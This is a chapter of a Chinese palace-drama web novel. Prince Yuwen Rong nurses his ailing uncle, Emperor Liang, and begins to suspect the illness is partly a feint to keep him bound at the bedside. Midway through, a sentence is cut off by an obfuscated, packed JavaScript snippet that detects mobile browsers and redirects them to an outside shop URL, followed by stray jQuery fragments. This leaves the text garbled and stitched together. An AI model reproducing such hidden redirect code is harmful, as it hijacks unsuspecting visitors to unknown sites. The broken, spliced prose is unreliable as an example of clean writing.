子时过半，紫宸殿寝宫的重重帷幕内，灯火被刻意捻暗了几盏，只余下榻边一圈昏黄的光晕。药石的苦涩、龙涎香的沉郁，与病体散发的微腐气息混合，凝成一种粘稠的、仿佛能触摸到生命流逝的寂静。


    梁帝在又一次长久的、几乎令人窒息的咳嗽平复后，没有如往常般即刻陷入昏睡或沉思。他微微侧过头，唤了一声：“戎儿，” 声音沙哑得如同破旧门轴转动，带着明显的、近乎黏腻的依赖：“水。”


    宇文戎跪侍在一旁，立即取过温在暖笼里的玉盏，试了温度，小心托起梁帝的后颈。动作间，他能清晰感觉到掌下脖颈的瘦削与脆弱，皮肤下的脉搏急促而浅弱。梁帝就着他的手啜饮，水流过干裂的唇，有几滴沿着嘴角滑落，宇文戎已用素帕轻轻拭去。这一连串动作，熟练、精准，带着一种经年累月训练出的、近乎本能的周到。


    饮罢水，梁帝却没有松手的意思，反而将头颅更沉地靠在了宇文戎托着他后颈的手臂上。那是一种全然卸力的、近乎孩童依赖的姿态。温热的呼吸拂在宇文戎腕间，带来细微的属于病人的衰颓潮热。


    “别走……” 梁帝闭着眼，含糊地吐出两个字，手指无意识地蜷缩，擦到了宇文戎的袖缘。


    宇文戎浑身一僵。手臂上的重量和那句低语，像两道突如其来的枷锁，将他钉在原地。这不是命令，是示弱，是请求。比任何刻意的试探或冷酷的威严，都更让他心惊肉跳。


    精神稍好时，梁帝依旧是那个心思莫测的帝王，会在咳喘间隙抛出意味深长的问题，会用疲惫的目光审视他每一分反应。但在这更深人静、病痛最肆虐的时刻，那层坚硬的帝王外壳似乎被高烧和虚弱蚀穿了，露出底下某种更原始、更孤独的东西。他依赖着榻边这个唯一被允许靠近的、带着血缘温度的少年，如同溺水者依赖一根浮木。


    心底某个被冰封了太久的地方，却被这真实的、沉重的依靠，烫得微微发颤。手臂上传来的温度和重量，脖颈间感受到的微弱呼吸，都在唤醒一种遥远而熟悉的知觉——很多年前，那个被称为“舅舅”的怀抱，也曾给过幼小的他这样的庇护和温暖。即便后来知道那温暖里掺杂了利用，但此刻病榻上这个褪去部分光环、显露凡人脆弱的长辈，依然让他无法硬起心肠，立刻抽离。


    他维持着那个有些僵硬、却无比稳固的姿势，任由梁帝靠着。时间在药香和细微的呼吸声中缓慢流淌。他能听到殿外怀恩极轻的脚步声，听到更漏一滴一滴的坠响，听到自己心脏在胸腔里，一下下沉重而混乱的搏动。


    不知过了多久，梁帝的呼吸渐渐变得绵长了些，似乎陷入了浅眠。宇文戎极慢、极慢地，试图将自己的手臂抽离。只是稍稍一动，梁帝的眉头便立刻蹙起，喉咙里发出不满的咕哝，手指更是无意识地攥紧了他的袖口。


    宇文戎不动了。


    他放弃了抽离的尝试，重新调整了一下姿势，让梁帝靠得更舒适些，也让自己僵直的肌肉稍得缓解。他就那样跪坐着，成了这深夜里一个沉默的、活的支柱。


    烛泪悄然堆叠。


    在这短暂又漫长的时光里，宇文戎心中涌起一种极深的疲惫与茫然。他分不清，此刻心中那份无法对人言说的、混合着痛楚与一丝酸软的情绪，究竟是出于对一个病弱长辈本能的怜悯，还是对“舅舅”这个身份残留的眷恋，亦或是……对这至高无上者竟然也会流露出如此人性化脆弱的，一种近乎悲哀的震动。


    他知道，天光亮起，药效退去，清醒回笼，榻上之人或许又会变回那个深沉难测的帝王。此刻的依赖，如同晨露，见日则晞。


    但至少在这一刻，在这昏暗的、被病痛统治的寝宫里，没有君臣，没有质子，没有试探与恐惧。只有一个疲惫病重的老人，近乎依赖地靠着一个他曾疼爱过的少年。而少年在无边的警惕与心寒之下，那被冰层覆盖的心湖深处，终究还是为这份沉重的依靠，泛起了一圈极其微弱的、连他自己都不愿承认的涟漪。


    紫宸殿寝宫的门，自宇文戎踏入侍疾那日起，便再未对其他人真正敞开过。


    内殿的光线总是调节得恰到好处的昏暗，以利梁帝休养。宇文戎便在这片昏黄中，如同一尊沉默的影子，几乎长在了龙榻旁。


    他始终跪着。


    晨起梳洗喂药，他跪在榻边脚踏上；白日读奏折、陪说话，他跪在榻前铺设的厚绒垫上；夜里侍奉安寝，他便在龙榻一侧的阴影里，铺开一方窄窄的褥子，依旧保持着跪坐的姿势，只在上身伏在榻沿小憩时，才能勉强算是“卧”。膝盖从最初的刺痛，到麻木，再到如今仿佛失去了知觉，与身下的金砖地面连成了一体。靛青的袍摆掩盖不住那份几乎凝固的谦卑姿态。


    最初，他开口闭口，皆是恭谨到极处的“陛下”。


    每一声“陛下”出口，梁帝倚在迎枕上的面容，便会几不可察地沉凝一分。那浑浊病弱的眼眸里，会掠过一丝极淡、却锐利的不悦。起初，他不说话，只是别开脸，或迟迟不去接宇文戎奉上的药碗，用沉默表达着拒绝。


    直到有一回，宇文戎照例跪奉汤药，低声道：“陛下，请用药。”


    梁帝盯着那碗黑褐色的药汁，忽然剧烈地咳嗽起来，咳得面色涨红，胸腔震动。宇文戎一惊，忙放下药碗上前轻抚其背。待咳声稍歇，梁帝喘息着，声音嘶哑干涩，却带着不容错辨的愠怒与失望：“这里没有陛下……只有个病得快死的老人，和他不懂事的外甥！”


    宇文戎的手僵在半空。


    梁帝闭了闭眼，再睁开时，只剩深深的疲惫与一种近乎执拗的脆弱：“戎儿……你就不能……像小时候那样，叫朕舅舅吗？”


    殿内静得只剩下铜漏单调的滴水声。宇文戎喉结滚动，垂下的眼睫剧烈颤抖。那声童年时唤过千百遍、熟稔于心的称呼，此刻卡在喉咙里，重如千钧。终于，他开口唤了声：“舅舅。”


    梁帝却像是终于满意了，紧绷的肩膀松懈下来，甚至微微扯动了一下嘴角，露出病后第一个近乎笑容的表情。“嗯。”他应了一声，自己伸手，端过了那碗药，一饮而尽。眉头都没皱一下。


    自那之后，便成了不成文的规矩。


    药端来了，宇文戎若称“陛下”，梁帝便或闭目不理，或推说没胃口，总要等到宇文戎低了头，声音轻缓地改口“舅舅，用药吧”，他才肯接过，慢慢喝下。有时宇文戎沉浸在侍奉的琐事中忘了改口，梁帝便会用那种混合着失望、责备和更深沉期待的目光看着他，直看到他心生愧意，自动改口为止。


    其他时候亦然。喂水，要叫“舅舅”；掖被角，要叫“舅舅”；甚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110924|194767||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    至只是静静地守在一边，梁帝也会忽然出声：“戎儿？”


    “臣在。”


    “叫舅舅。”


    “舅舅，戎儿在。”


    这声称呼，成了打开梁帝一切配合与温情的唯一钥匙。也成了悬在宇文戎心头，一根越来越紧的弦。


    日复一日，宇文戎几乎要沉溺在这种被极端需要的感觉里。


    他机械地重复着侍奉的每一个细节，将全部心神都灌注在眼前这个虚弱的老人身上。梁帝的依赖是那样全然，那样不容置疑，甚至带着孩童般的任性——离了宇文戎，他似乎连最基本的生活都无法自理。这种被需要，极大地满足了宇文戎内心深处某种隐秘的渴望，那是锦州七年冷漠严苛环境中，被彻底压抑了的、对亲情和认可的渴望。


    他侍奉得越发精心，也越发沉默。眼底的疲惫如同化不开的浓墨，身形消瘦得厉害，唯有那双总是稳稳托住药碗、扶住梁帝臂弯的手，依旧坚定。


    然而，正是这无限贴近的距离，也让某些东西无处遁形。


    起初是微小的、几乎可以被忽略的违和感。


    比如，梁帝咳得撕心裂肺时，抓住他手腕的力道，有时大得惊人，完全不像一个缠绵病榻、气若游丝的老人。但下一刻，那手又会迅速变得绵软无力，颤抖着松开。


    比如，梁帝偶尔在服下某碗特定的汤药后，苍白的脸上会泛起一层极淡的、不自然的红晕，精神也会短时提振，能说上好一会儿话，眼神甚至有一瞬间会恢复往日的锐利清明。但那红晕退去后，并非更深的灰败，反而是一种趋于平稳的疲惫。


    再比如，梁帝的“病”似乎总在关键时刻“恰到好处”。有几次，外间似有要紧事务禀报，怀恩面色凝重地进来，刚低语几句，榻上的梁帝便会突然开始剧烈咳嗽，喘息困难，将所有人的注意力都吸引过去，事务自然被搁置。待宇文戎一番忙碌，梁帝平息下来，那禀报的时机也就错过了。


    最让宇文戎心头疑云凝聚的，是梁帝对他那份“唯一性”的绝对维护背后，似乎并不仅仅是对亲情的渴望。那更像一种……划地为牢的掌控。他不允许任何人替代宇文戎，甚至不允许宇文戎的注意力有丝毫分散。有一次，宇文戎侍药时略微走了下神，梁帝立刻察觉，放下药碗，盯着他问：“戎儿，你在想什么？是嫌侍奉朕……太枯燥乏味了么？”


    那语气里的凉意，让宇文戎瞬间回神，寒意从脊椎升起。


    他开始在极度疲惫的间隙，望着梁帝沉睡中松弛苍老的侧脸，心中一片茫然。那些违和感如同水底的暗礁，随着他沉溺的加深，逐渐凸显，硌得他心生不安。


    舅舅的病，究竟有多重？


    这份将他紧紧捆绑在榻前的依赖，究竟有几分是真情，几分是……需要？


    没有答案。只有弥漫的药香，烛火跳动的光影，身下坚硬的金砖地面，和颈间那枚被体温焐热、却忽然让人觉得有些沉重的平安扣。


    他依旧在梁帝期盼的目光中，低声唤着“舅舅”，依旧将每一勺药、每一口水都侍奉得妥帖周到。只是那声“舅舅”里，除了渐渐习惯的顺从，是否也悄然混入了一丝难以言喻的、冰冷的审视？


    那审视无声地问梁帝：陛下，您这病，今日该“好些”了，还是该“再重三分”？